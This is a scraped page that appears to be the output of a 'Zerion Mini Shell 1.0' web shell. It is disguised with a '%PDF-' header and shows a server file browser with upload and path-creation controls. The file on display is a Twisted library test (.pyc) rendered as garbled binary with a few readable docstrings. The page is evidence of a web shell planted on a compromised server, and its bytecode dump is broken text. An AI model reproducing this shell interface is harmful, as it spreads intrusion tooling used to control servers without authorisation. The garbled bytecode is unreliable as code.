%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python3/dist-packages/twisted/words/test/__pycache__/
Upload File :
Create Path :
Current File : //usr/lib/python3/dist-packages/twisted/words/test/__pycache__/test_jabberjstrports.cpython-312.pyc

�

Ϫ�f���V�dZddlmZddlmZddlmZGd�dej�Zy)z8
Tests for L{twisted.words.protocols.jabber.jstrports}.
�)�	TCPClient)�unittest)�	jstrportsc��eZdZdZd�Zd�Zy)�JabberStrPortsPlaceHolderTestsz 
    Tests for L{jstrports}
    c�^�ddif}tjdd�}|j||�y)z�
        L{jstrports.parse} accepts an endpoint description string and returns a
        tuple and dict of parsed endpoint arguments.
        �TCP)�DOMAINi���Factory�tcp:DOMAIN:65535rN)r�parse�assertEqual)�self�expected�gots   �I/usr/lib/python3/dist-packages/twisted/words/test/test_jabberjstrports.py�
test_parsez)JabberStrPortsPlaceHolderTests.test_parses2��
�7��<���o�o�0�)�<������3�'�c�\�tjdd�}|j|t�y)zE
        L{jstrports.client} returns a L{TCPClient} service.
        rrN)r�client�assertIsInstancer)rrs  r�test_clientz*JabberStrPortsPlaceHolderTests.test_clients'�����1�9�=�����c�9�-rN)�__name__�
__module__�__qualname__�__doc__rr�rrrrs���(�.rrN)	r�twisted.application.internetr�
twisted.trialr�twisted.words.protocols.jabberr�TestCaserrrr�<module>r"s'���
3�"�4�.�X�%6�%6�.r

Zerion Mini Shell 1.0